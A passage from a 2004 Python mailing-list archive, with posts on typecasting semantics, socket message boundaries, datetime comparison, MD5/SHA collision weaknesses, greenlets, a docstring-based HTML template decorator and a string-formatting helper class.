typecasting works in C++, which is the widespread language in which you can use the sometypename(xyz) syntax; it's calling the constructor of class 'sometypename' to make a new instance of that class from whatever value 'xyz' stands for (if xyz's type is already 'sometypename', it's making a new value of that type, it's calling the copy constructor; otherwise it's calling some other appropriate overloaded constructor depending on xyz's type). In Java, where typecasting must use the different syntax (typename)xyz, there is no building of a new value with it -- to build a new value you use the keyword 'new', as in "new typename(xyz)" (well, mostly you do, it's a bit more complicated than that). Python here uses the same syntax and semantics as C++, typename(xyz) makes a new instance of that type, calling the constructor with the value of xyz as the argument (there are no overloads involved, if any typechecking on xyz's type is needed then typename's constructor must deal with that). > > Yes, it does read as a loop. The funny thing is, I haven't seen the > > same issues regarding sum(somenumbers()) -- which reads as a function > > call, syntactically the same as list(somenumbers()), not as a loop. > > Your example made me realize that the underlying problem is (again) > the functional versus the imperative programming model. Let us think > about it from "outside the box", looking at the words as someone who > don't know Python yet: OK, but if that someone thinks in terms of typecasting when he sees a typename called with one argument, maybe that someone comes from C++, and so presumably reads the call to the type as "make a new value of that type", right? > > -- sum(values()) is read as "sum all these values". It's a clear > interpretation, both in functional and imperative terms. Yep, though functionally it would be "THE sum OF all these values", noun and verb happen to coincide here in the word 'sum'. This is not a type name, so the 'typecast' argument above can't apply, either. > > -- list(values()) is read as "list all these values". The functional > interpretation is easy -- it should return a list of all values. But > the traditional definition of the word "list" in imperative > programming is different -- it is associated with the action of > printing out a list of values. Our problem should be stated in > imperative terms as "put all these values into a list". "Make a new list with these values", just like int(somestr) is "Make a new int with this string", typename(xyz) is "Make a new instance of typename with xyz", and so on. At least, that's what I would expect from the "typecast" mindset. > > Many programmers were trained all their lives to think in the > imperative way, not the functional one, and that's probably the real > underlying problem. In a sense, *if* the list() builtin was named > makelist() -- an imperative spelling of the same concept -- I think > nobody would think twice before using it instead of the list > comprehension version. (Please, I'm far from advocating to change the > list() name -- the current name is fine and really ellegant -- I'm > just trying to point out a difference in mental models). There seem to be two issues which look mutually exclusive to me. Reading the call to a type as a typecast, i.e. "make a(n instance of this) type", should work just fine imperatively as well as procedurally, the "make" verb being implied by the concept of typecast (well, not in Java, but that uses a different syntax anyway). Misreading 'list' as an imperative verb rather than a typename would seem to preclude any reading as "typecast". I guess that people are excellent at having two vague and contradictory mental models at the same time (the world is so complicated than the ability to hold mutually contradictory beliefs has no doubt always been pretty adaptive!-). Well, thanks to you and Anna -- you've given me a lot of food for thought. I think I'll ask _her_ to edit the recipe about how to make a list, which I had already written thinking of placement very early in the first chapter of the 2nd edition of the Cookbook -- with this discussion as a point of reference, plus her own thoughts in the matter, she should be able to clarify this whole issue most usefully. Thanks, Alex From russblau at hotmail.com Tue Sep 28 12:45:23 2004 From: russblau at hotmail.com (Russell Blau) Date: Tue, 28 Sep 2004 12:45:23 -0400 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> Message-ID: <2rtip4F1cn1nmU1@uni-berlin.de> "Ling Lee" <janimal at mail.trillegaarden.dk> wrote in message news:415976d1$0$23090$ba624c82 at nntp05.dk.telia.net... > I have read the tutorial, but still its a bit hard for me to see how I make > the loop and how I count the lengt of the number. When I use the len(input) > I get the reply: Error len() of unsized object. Think that is why len() > only works on dictionaries and lists, not strings. >>> len("I am a string.") 14 Maybe it was a spelling error -- did you type len(input) instead of len(indput) perhaps? -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From bryanjugglercryptographer at yahoo.com Wed Sep 15 19:38:26 2004 From: bryanjugglercryptographer at yahoo.com (Bryan Olson) Date: 15 Sep 2004 16:38:26 -0700 Subject: socket programming References: <mailman.3372.1095266959.5135.python-list@python.org> Message-ID: <1a517b5.0409151538.b71526b@posting.google.com> Ajay wrote: [...] > the code is > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) [...] > the problem is when my client finished sending and waits to receive, on the > server side, it still stays in the while loop waiting to receive more data. SOCK_STREAM sockets have no concept record-boundary. If you need to convey the end of one message, but keep the connection open, then you need to define or find a protocol that builds distinct messages on top of the byte stream. If the client is truly done sending on that socket, it can call s.shutdown(1). Then, after the server has received all the sent data, (the socket will select as readable and) the server's next recv will return, but the size of the read will be zero bytes. Remote shutdown of sending is the only case in which recv will succeed with a zero size. If remote side has not shut down, and there is no data available, a recv on a blocking sockets will block, and non-blocking sockets will raise/return EWOULDBLOCK. -- --Bryan From Jack.Jansen at cwi.nl Thu Sep 16 15:48:09 2004 From: Jack.Jansen at cwi.nl (Jack Jansen) Date: Thu, 16 Sep 2004 21:48:09 +0200 Subject: Python/PSF at SANE 2004 - Announcement and a request for help Message-ID: <5615AEDA-0819-11D9-8800-000D934FF6B4@cwi.nl> At this years' SANE conference (System Administration and Networking Europe, www.sane.nl) in Amsterdam there will be a Free and Open Source Bazar on wednesday evening, september 29, from 18.30 until 22.00. The bazar will be open to the general public (i.e. free as in beer), and about 20 FOSS groups will be present. In addition, Richard Stallman will present a talk. Among the groups present is, you guessed it, the Python Software Foundation. And the person who volunteered for this is, you guessed it, me. The intention is to provide visitors with information on both the Python language and the PSF. The setting is informal: there will be a tabletop and a backdrop we can use to put material up. In addition there are rooms available to hold BOF sessions. That concludes the announcement bit, on to the request bit: I'm looking for people who'd be willing to join me in manning the stand. And, ideally, also with preparing some material to put up on the backdrop and/or demonstrations we could stage (I can supply the computer, provided it's a Macintosh:-) But if you'd just like to loiter at the stand to tell people how wonderful Python is that's also very welcome. Please let me know if you're willing to help, -- Jack Jansen, <Jack.Jansen at cwi.nl>, http://www.cwi.nl/~jack If I can't dance I don't want to be part of your revolution -- Emma Goldman From peter at somewhere.com Thu Sep 16 07:25:25 2004 From: peter at somewhere.com (Peter Maas) Date: Thu, 16 Sep 2004 13:25:25 +0200 Subject: comparing datetime with date In-Reply-To: <cibqot$mrq$00$1@news.t-online.com> References: <mailman.3292.1095162740.5135.python-list@python.org> <ci6r7k$gav$03$1@news.t-online.com> <cibk8f$oat$1@swifty.westend.com> <cibqot$mrq$00$1@news.t-online.com> Message-ID: <cibt77$399$1@swifty.westend.com> Diez B. Roggisch schrieb: >>datetime and date are different by implementation, not by meaning. Both >>are time intervals. > > > Neither of them is - they are discrete points in time, with different > resolution. > > There is a difference in saying "vacation starts at 9/9/2004" or "lets meet > at 9/9/2004, 12:00" - even to non-programmers. There are several meanings. A date is valid for 24 hours. If you think of a date as point in time there is usually a time part of 0:00 silently added. No matter which meaning you prefer: Evaluating 2004-09-16 == 2004-09-16T3:14 as true is very surprising. You could as well say that int(3) == 3.14 is true (disregarding the fractional part of the second operand). -- ------------------------------------------------------------------- Peter Maas, M+R Infosysteme, D-52070 Aachen, Tel +49-241-93878-0 E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64') ------------------------------------------------------------------- From stevena at neosynapse.net Wed Sep 29 23:23:29 2004 From: stevena at neosynapse.net (Steven Arnold) Date: Wed, 29 Sep 2004 23:23:29 -0400 Subject: constructing binary backslash-n In-Reply-To: <1f7befae04092919484211a3bb@mail.gmail.com> References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net> <1f7befae04092919484211a3bb@mail.gmail.com> Message-ID: <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net> Something seemed to screw up my message, putting two backslashes everywhere I put only one. That probably led to your confusion. It seems that Jeff may have been similarly confused. I'll try again. I want to be able to receive a letter like 'n', let's say as user input, and generate the single byte escape value of backslash-n or ASCII 10, as a string of length 1. If the user provided the letter 'r', I would return a string one character long, for which ord(my_string) == 13. This should be equivalent to the string '<backslash>r'. I imagine the solution is extremely simple and I'm missing something obvious, although my description of the problem up to now hasn't been. ;-) Is this clearer? Thanks, steve From newsgroups at jhrothjr.com Sun Sep 12 13:21:36 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Sun, 12 Sep 2004 12:21:36 -0500 Subject: MD5 and SHA cracked/broken... References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> <mailman.3198.1094942493.5135.python-list@python.org> Message-ID: <10k91e7174bvh20@news.supernews.com> "Tim Churches" <tchur at optushome.com.au> wrote in message news:mailman.3198.1094942493.5135.python-list at python.org... > On Sun, 2004-09-12 at 02:59, Magnus Lie Hetland wrote: >> Basically, at Crypto 2004 preliminary papers were presented that >> pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell, >> MD5 is broken and SHA-1 seems to be in a precarious position (even >> though I don't know the details at all). > > IANAC, but it is important to keep in mind that only one aspect of MD-5 > and a weakened version of SHA were "broken": collision resistance. My > understanding is that the other important qualities of a cryptographic > has function, preimage resistance and 2nd preimage resistance, were not > assailed. > > Collision resistance is how difficult it is to find two input values > which produce the same has value. Weakened collision resistance > undermines digital signatures (at least in theory - practical attacks > may still be difficult). > > Preimage resistance measures the difficulty of finding an input which > results in a particular hash value. You don't know the original input. > Poor preimage resistance undermines the security of hashed passwords and > similar uses. > > 2nd preimage resistance is the difficulty of finding an input which > hashes to the same value that some other given input hashes to. Like > preimage resistance but you do know the other input value. How is this > different to collision resistance? Collision resistance is the > difficulty of finding ANY two inputs which hash to the same but > arbitrary output value, whereas preimage resistance and 2nd preimage > resistance are about finding input values which hash to a PARTICULAR > output value. Clearly that's much harder, and the recently reported work > didn't address that issue, I think. And that, of course, is the critical issue for such applications as verifying that a download is intact. John Roth > > -- > > Tim C > > PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere > or at http://members.optushome.com.au/tchur/pubkey.asc > Key fingerprint = 8C22 BF76 33BA B3B5 1D5B EB37 7891 46A9 EAF9 93D0 > > > From jeffrey at fro.man Tue Sep 21 10:27:49 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Tue, 21 Sep 2004 07:27:49 -0700 Subject: Just curious References: <pan.2004.09.20.20.45.09.246503@NOSPAMrosecott.ukfsn.org> <1gkfqak.kalu9hyqxvozN%aleaxit@yahoo.com> Message-ID: <10l0ej8j45fqq88@corp.supernews.com> Alex Martelli wrote: > Apparently?some > headers get mangled in such a way that your reader loses track of the > threads (so does the one I'm using these days -- MacSOUP -- but the one > I used to use, KNode, had no such problem). Using KNode here, and I see this happen regularly with c.l.p. as well. I wind up using the search feature a lot to find the original post. Jeffrey From fredrik at pythonware.com Fri Sep 24 04:47:18 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 24 Sep 2004 10:47:18 +0200 Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> Message-ID: <cj0mqt$j98$1@sea.gmane.org> Simon Wittber wrote: > It took me a while to work out that default keyword argument values > are likely only evaluated once, which caused the empty dict to be > shared across classes... some relevant links: http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects http://docs.python.org/tut/node6.html#SECTION006710000000000000000 http://docs.python.org/ref/function.html > It certainly something newbie python coders should look out for! it's a well-known "you'll only do this once" mistake. which is a good thing, because when you understand why this happens, you have learned a lot about how "def" and objects work in Python... </F> From aahz at pythoncraft.com Tue Sep 21 16:41:01 2004 From: aahz at pythoncraft.com (Aahz) Date: 21 Sep 2004 16:41:01 -0400 Subject: Python for Perl programmers? References: <c1e48b51.0409201820.217e1dd@posting.google.com> <414f98a5@news01.argolink.net> Message-ID: <ciq3kt$ksh$1@panix2.panix.com> In article <414f98a5 at news01.argolink.net>, John Zhuang <zhuangzy at cn.ibm.com> wrote: > > Perl To Python Migration > By Martin C. Brown Bad book. Maybe someday I'll write up all the problems I have with it, but the short form is that there are lots of typos and plain wrong information. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From mwh at python.net Mon Sep 13 08:15:02 2004 From: mwh at python.net (Michael Hudson) Date: Mon, 13 Sep 2004 12:15:02 GMT Subject: Greenlets: where are they now??? References: <foadnUs_VtNpFdncRVn-jQ@lmi.net> Message-ID: <m37jqybc1m.fsf@pc150.maths.bris.ac.uk> "David Pokorny" <davebrok at soda.csua.berkeley.edu> writes: > Hi, > > A few weeks ago, I discovered Armin Rigo's greenlets and thought they were > brilliant. I'm seriously thinking about using them, and at least someone > else is > > http://www.eby-sarna.com/pipermail/peak/2004-August/001720.html > > Currently, I understand that Greenlets are more-or-less hidden from the > public eye in the Stackless CVS, even though they compile and work like a > charm with regular CPython. Given all the desire for full coroutines that I > hear on Python-dev, greenlets strike me as genuine "hidden treasure." Here > is my point: > > A) Why aren't greenlets being considered as a solution to coroutines? (Do > people feel that "hacking the C stack is bad" is a compelling argument? It > strikes me that any coroutine implementation in CPython will have to do > this.) I think the answer to your parenthetical question is "yes". > B) Will a later version of CPython support greenlets natively? (in > particular by adding the appropriate entries to PyThreadState) Pass. "It is tough to make predictions, especially about the future." -- Yogi Berra > C) Will greenlets ever be released? Is there a ToDo list that prevents their > release? I think lack of tuits is the main thing. I don't know if there are obscure bugs or something like that. > D) How did he come up with a cool name like "Greenlet"? Like Peter said, I presume it's a play on "green threads". I'm fairly sure that (a) the only person who can really answer your questions is Armin himself and (b) Armin doesn't read comp.lang.python. I'll try to catch him on IRC and point him here, but you might want to email him yourself... Cheers, mwh -- <spiv> As far as I'm concerned, the meat pie is the ultimate unit of currency. -- from Twisted.Quotes From amajorel at teezer.fr Thu Sep 2 17:44:46 2004 From: amajorel at teezer.fr (Andre Majorel) Date: Thu, 2 Sep 2004 21:44:46 +0000 (UTC) Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <slrncjep0f.oa.amajorel@vulcain.knox.com> <opsdpprvxppqzri1@mjolner.upc.no> Message-ID: <slrncjf52a.oa.amajorel@vulcain.knox.com> On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote: > On Thu, 2 Sep 2004 18:19:43 +0000 (UTC), Andre Majorel ><amajorel at teezer.fr> wrote: > >> On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote: >> >>> The fact that the NT kernel is not entirely stable yet really >>> shouldn't supprise anyone. Afterall Unix has messed with it's >>> kernel for 30 years. >> >> I feel compelled to point out that Linux achieved considerably >> better stability after just a few years. >> > > I feel compelled to replay that Linux is based on the Posix standard > which is basically a recipie for writing unix. They did not write a > new operating system. They implemented a tested and proven one. Are you arguing that the stability comes from the API, not from the implementation ? If so, why has NT become more stable over the years, since its API has not changed ? -- Andr? Majorel <URL:http://www.teaser.fr/~amajorel/> Conscience is what hurts when everything else feels so good. From carribeiro at gmail.com Wed Sep 15 18:11:56 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 15 Sep 2004 19:11:56 -0300 Subject: Using a decorator for generic html templates Message-ID: <864d37090409151511b2ad9c4@mail.gmail.com> Hello all, While studying some of the templating systems available for Python, I've come up with an idea to implement templates using decorators. The following code snippet runs in Python 2.3; a few 2.4 only extensions are shown as comments. Please note that I have shamelessly copied the trim function from PEP 257, because it's needed to have the strings properly formatted. ============================ # # HTML templating decorator # Carlos Ribeiro # carribeiro at gmail.com # http://pythonnotes.blogspot.com # import sys def trim(docstring): # shamelessly taken from PEP 257: # http://www.python.org/peps/pep-0257.html if not docstring: return '' # Convert tabs to spaces (following the normal Python rules) # and split into a list of lines: lines = docstring.expandtabs().splitlines() # Determine minimum indentation (first line doesn't count): indent = sys.maxint for line in lines[1:]: stripped = line.lstrip() if stripped: indent = min(indent, len(line) - len(stripped)) # Remove indentation (first line is special): trimmed = [lines[0].strip()] if indent < sys.maxint: for line in lines[1:]: trimmed.append(line[indent:].rstrip()) # Strip off trailing and leading blank lines: while trimmed and not trimmed[-1]: trimmed.pop() while trimmed and not trimmed[0]: trimmed.pop(0) # Return a single string: return '\n'.join(trimmed) def raw_html_template(func): """ Transforms a simple raw html template function into a function that returns the __doc__ string. Non-significant spaces are removed, making the resulting output indent correctly. """ def new_func(args): return func.__doc__ #new_func.func_name = func.func_name # 2.4 only return new_func class Root: #@raw_html_template # 2.4 only def index(self): """ <html> <body> <h1>Hello World!</h1> </body> </html> """ index = raw_html_template(index) #2.3 only A simple test run is: >>> r = Root() >>> r.index() '\n <html>\n <body>\n <h1>Hello World!</h1>\n </body>\n </html>\n ' >>> ============================ Comments about this technique: 1) It abuses the doc string to obtain the desired effect. While some may not like it as a hack, it's actually very clean; the resulting code looks really nice without extra clutter. 2) More advanced decorators can be supported. For example, embedded tags can be pre-processed by the decorator, either at "decorating time" (when the decorator function is run) or at runtime (by means of special code in the decorated function). 3) Methods that interleave Python code and raw HTML code are *much* more difficult to handle. I don't have enough knowledge to deem them impossible, but that's my best guess now. *If* someone is brave enough to try it, my guess is that it has to rely very heavily on introspection and low-level disassembly hacks. Not for the faint of heart... and too [asm|C|INTERCAL]-ish for my taste :-) 4) Another approach that could be possibly taken is to use a metaclass to control the decoration of all methods that have only docstrings and no code. Using introspection, the constructor could check all methods and decorate the ones that need it, building the new object accordingly. 5) In real world applications, performance may be a concern. I don't know if the decorator is applied every time a new object instance is created, or if a caching mechanism of some type is used. If the decorator is run everytime a new instance is about to be created, then a different approach is needed, because many web application frameworks rely on short lived objects to represent stuff such as actual page handlers. That's where a metaclass approach could be more useful. 6) Last, I don't know if the trim() function is available through some of the standard libraries, and I have no idea upon where to look after it. But it would be a good idea to call the standard implementation instead of repeating the code here. (btw, the implementation has a small bug: it leaves some extra space at the last line that should be removed). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From carribeiro at gmail.com Wed Sep 8 10:51:39 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 8 Sep 2004 11:51:39 -0300 Subject: Question: tools for business apps development In-Reply-To: <E0922EB9-01A3-11D9-A2ED-000A957911BC@ksenia.nl> References: <mailman.2847.1094238878.5135.python-list@python.org> <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <mailman.2980.1094568177.5135.python-list@python.org> <2q5vvrFrq42gU2@uni-berlin.de> <E0922EB9-01A3-11D9-A2ED-000A957911BC@ksenia.nl> Message-ID: <864d3709040908075150158590@mail.gmail.com> Hello all, Thanks to all that have contributed so far. Some very good suggestions have appeared. I still have my concerns over XUL. Flash is also another matter -- it requires yet another set of knowledge and tools before starting to write code. But nonetheless, all these approaches have their own advantages, namely a richer user experience than it's possible with plain HTML (or even Tk). So they're really worth checking. As a dig deeper in the search of a business development paradigm for Python, the more problems I find. It's not only lack of tools. It's also the lack of a common idiom to write business apps. Each and every library around uses a different approach to map business objects and concepts to Python's code. Each one ties things together in a different way. It's surprising, considering that in Python normally "there is one way to do it". Not this is a show stopper -- it only shows how far we are now from something like J2EE. I'll keep looking around and checking more stuff. As far as the user interface is concerned -- I'll probably do it simple, using HTML and Javascript. Yes, I'm going to implement a webapp, instead of a native Windows app, or at least that's the current choice (my friend changed his mind over this). But I'll keep posting my progress. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From fredrik at pythonware.com Sun Sep 12 07:55:03 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 12 Sep 2004 13:55:03 +0200 Subject: image library References: <OCQ0d.14024$ug2.6155@fe2.texas.rr.com> Message-ID: <ci1deq$cp2$1@sea.gmane.org> Stan Cook wrote: > Does anyone know of an image library that can handle group 4 > tiffs? here's one: http://article.gmane.org/gmane.comp.python.image/1105 tiffcp+pil is another one. </F> From mwh at python.net Wed Sep 15 11:26:12 2004 From: mwh at python.net (Michael Hudson) Date: Wed, 15 Sep 2004 15:26:12 GMT Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> <wfX1d.159823$4o.57181@fed1read01> <1gk5yjn.12y25b4detf0pN%aleaxit@yahoo.com> Message-ID: <m3acvr8sff.fsf@pc150.maths.bris.ac.uk> aleaxit at yahoo.com (Alex Martelli) writes: > This kind of thing, however, is also true of CPython whenever it's > accessing "outside" objects through attributes; and for .NET > implementations I believe that CLR compliant languages are not > allowed to forbid certain method names along their interfaces to > other components. I'm not sure how CORBA's standard Python bindings > address the same problem, how it's met in various interfaces to > XML-RPC, COM, SOAP, and other distributed-objects or foreign-objects > APIs. I'm fairly sure the approach taken by CORBA bindings is the good old "append an underscore" hack. I don't know what happens if an interface declares methods called both "print" and "print_", but giving the author a good kick seems an appropriate response... > Given how pervasive this problem is, I do recall some ruminations > about allowing arbitrary identifiers in the specific case in which > they fall right after a dot in a compound name. I don't recall that > anything ever came of these ruminations, though. I think the only problem is that noone has done the work yet. Python's parser isn't the nicest thing ever. Two snippings spring to mind: /* This algorithm is from a book written before the invention of structured programming... */ (Parser/pgen.c from the Python source). <glyph> It's interesting that people often say "Hey, I'm looking for something to work on!" <glyph> then someone else says "Glyph's code needs a little help." then the original asker says "SWEET MARY MOTHER OF GOD I'M NOT TOUCHING THAT! I mean, uh, that's too much work or I'm not good at it. Or something." (from Twisted.Quotes). It's not my itch, and I'm not that interested in learning how to scratch it... Cheers, mwh -- Finding a needle in a haystack is a lot easier if you burn down the haystack and scan the ashes with a metal detector. -- the Silicon Valley Tarot (another one nicked from David Rush) From __peter__ at web.de Sat Sep 11 06:16:27 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 11 Sep 2004 12:16:27 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <Xns955F779C04101OKB@130.133.1.4> <20040909152328.2233c917@gypsy.pfortin.com> <chqjc3$n2o$00$1@news.t-online.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> Message-ID: <chuj9r$833$02$1@news.t-online.com> I've written a class that automatically generates a format string ready for dual application of '%'. Instead of >>> d = dict(val=1.234, width=10, prec=2) >>> "%%(val)%(width)d.%(prec)df" % d % d ' 1.23' you can now write >>> Format("%(val)*(width).*(prec)f") % d ' 1.23' which is slightly more readable. Not tested beyond what you see. Peter import re class Format: """ Extends the format string to allow dict substitution for width and precision. >>> Format("%(value)*(width)s") % dict(value=1.234, width=10) ' 1.234' >>> Format("%(value)*(width).*(prec)f") % dict(value=1.234, width=-10, prec=2) '1.23 ' """ _cache = {} # Generously allow all ascii characters as format specifiers :-) rOuter = re.compile(r"(%(\(.*?\)|[^A-Za-z%])*[A-Za-z%])") rInner = re.compile(r"\*\(.*?\)") def __init__(self, format): self.format = self.prepare(format) def subInner(self, match): # called for every width/prec specifier, e. g. "*(width)" s = match.group(0) return "%" + s[1:] + "s" def subOuter(self, match): # called for every complete format, e. g. "%(value)*(width)s" s = match.group(0) if s == "%%": return "%%%%" return "%" + self.rInner.sub(self.subInner, s) def prepare(self, format): """ Modify the format for a two-pass 'format % dict % dict' appliction. The first pass replaces width/prec specifiers with integer literals """ cached = self._cache.get(format) if cached is not None: return cached result = self._cache[format] = self.rOuter.sub(self.subOuter, format) return result def __mod__(self, dict): return self.format % dict % dict if __name__ == "__main__": f = Format("%(value)*(width).*(prec)f (literal) " "%(string)s [%(integer)3d] %% [%(integer)-*(width)d]") print f % dict(value=1.2345, width=5, prec=2, string="so what", integer=11) # Abusing your code as a test case... fmt = { 'wDate':10, 'wOpen':6, 'wHigh':6, 'wLow':6, # width 'wClose':6, 'wVolume':10, 'wAdjClose':6, 'pDate':10, 'pOpen':2, 'pHigh':2, 'pLow':2, # precision 'pClose':2, 'pVolume':0, 'pAdjClose':2 } # data will be read from several thousand files sampledata = [ "9-Sep-04,19.49,20.03,19.35,19.93,60077400,19.93", "8-Sep-04,18.96,19.53,18.92,18.97,52020600,18.96", "7-Sep-04,18.98,19.18,18.84,18.85,45498100,18.84", ] change=["down","up","n/c"] for D in sampledata: Date, Open, High, Low, Close, Volume, AdjClose = D.split(',') map = dict(Date=Date, Open=float(Open), High=float(High), Low=float(Low), Close=float(Close), Volume=int(Volume), AdjClose=float(AdjClose), # Change=change[int(float(AdjClose) >= float(Open)) + int(float(AdjClose) == float(Open))] ) map.update(fmt) new = Format( "%(Date)*(wDate).*(pDate)s " "%(Open)*(wOpen).*(pOpen)f " "%(High)*(wHigh).*(pHigh)f " "%(Low)*(wLow).*(pLow)f " "%(Close)*(wClose).*(pClose)f " "%(Volume)*(wVolume).*(pVolume)d " "%(AdjClose)*(wAdjClose).*(pAdjClose)f " "%(Change)s") % map old = ( "%%(Date)%(wDate)d.%(pDate)ds " "%%(Open)%(wOpen)d.%(pOpen)df " "%%(High)%(wHigh)d.%(pHigh)df " "%%(Low)%(wLow)d.%(pLow)df " "%%(Close)%(wClose)d.%(pClose)df " "%%(Volume)%(wVolume)d.%(pVolume)dd " "%%(AdjClose)%(wAdjClose)d.%(pAdjClose)df " "%%(Change)s") % fmt % map assert old == new From rpw3 at rpw3.org Fri Sep 3 00:29:50 2004 From: rpw3 at rpw3.org (Rob Warnock) Date: Thu, 02 Sep 2004 23:29:50 -0500 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <877jrcjy1n.fsf@thalassa.informatimago.com> <ch7tud$16m$1@baldur.whoi.edu> <slrncjf0iv.7vj.a.krey@inner.h.uberluser.org> Message-ID: <jpSdneJkVK-jbqrcRVn-hg@speakeasy.net> Andreas Krey <yyx-nospam at gmx.de> wrote: +--------------- | I don't know whether the 68000 already had user and supervisor | mode which is also (besides an MMU) a prerequisite for completely | jailing user programs. +--------------- Yes, it did. The original Fortune Systems box used a 68000 to run a hybrid ATT-v.7/BSD-4.1a kernel. It "completely jailed" user programs, as you put it. Though, as others have noted, since the 68000 could not recover from arbitrary bus faults (SIGSEGVs), we were only able to provide whole-process swapping, not general paging. But as a consequence of this limitation, we were able to use a *much* simpler external MMU, basically a four-segment base/limit style (think of a PDP-10 with 4 segs instead of 2, or a PDP-11/44 with 4 instead of 8) built out of 4x4 register files (74S670's, IIRC) instead of the expensive, fast SRAMs Sun later used on their 68020 box. -Rob p.s. The four segments were text, data, "extra", and stack, equally dividing the virutual address space, with the limits growing up from the beginning of the segment for text & data and down from the end for "extra" and stack. [In case you're wondering, "extra" was used for various & sundry purposes: System-V shmem; for mapping /dev/mem or /dev/kmem for kernel debugging; mapping hardware into user-mode drivers; and similar stunts.] ----- Rob Warnock <rpw3 at rpw3.org> 627 26th Avenue <URL:http://rpw3.org/> San Mateo, CA 94403 (650)572-2607 From blr at drizzle.com Fri Sep 10 15:47:42 2004 From: blr at drizzle.com (Brian Raiter) Date: Fri, 10 Sep 2004 19:47:42 +0000 (UTC) Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: <cht0cu$79m$1@drizzle.com> Holy cow. Can you folks possibly stop cross-posting this multi-tentacled leviathan of a thread to five different newsgroups? b From maney at pobox.com Sun Sep 19 10:56:57 2004 From: maney at pobox.com (Martin Maney) Date: Sun, 19 Sep 2004 14:56:57 +0000 (UTC) Subject: So I guess PyUI is long abandonded? What else is there? References: <cihu17$c4b$1@wheel2.two14.net> <mailman.3485.1095541276.5135.python-list@python.org> Message-ID: <cik6np$994$2@wheel2.two14.net> Carlos Ribeiro <carribeiro at gmail.com> wrote: > stable stage. The win32 ZIP file that I've downloaded does not contain > any windows specific dll, pyd or exe file, but only pure Python code. Sorry, 100% Python code is no more inherently portable than 100% C code. It's avoiding non-portable libraries and etc. that make the difference in both cases. > Are your sure that it will not work for you? What is the latest > version you tried? See longer reply in this thread, and yes, I'm sure it would be like pissing into the wind... the wind along the Gulf coast last week. :-( -- I didn't write a whole, free operating system, either. I wrote some pieces and invited other people to join me by writing other pieces. So I set an example. I said, "I'm going in this direction. Join me and we'll get there." And enough people joined in that we got there. -- R M Stallman From tim.peters at gmail.com Sun Sep 5 17:59:02 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 5 Sep 2004 17:59:02 -0400 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <7GL_c.8254$w%6.2854@newsread1.news.pas.earthlink.net> References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <mailman.2905.1094405220.5135.python-list@python.org> <7GL_c.8254$w%6.2854@newsread1.news.pas.earthlink.net> Message-ID: <1f7befae04090514595977db02@mail.gmail.com> [Andrew Dalke] > ... > With generators becoming more common it's been easier > for me to remember that list() is the appropriate solution. > > "There should be one -- and preferably only one -- > obvious way to do it." > > Does that suggest that we should have had list() + > generator comprehensions and not have list 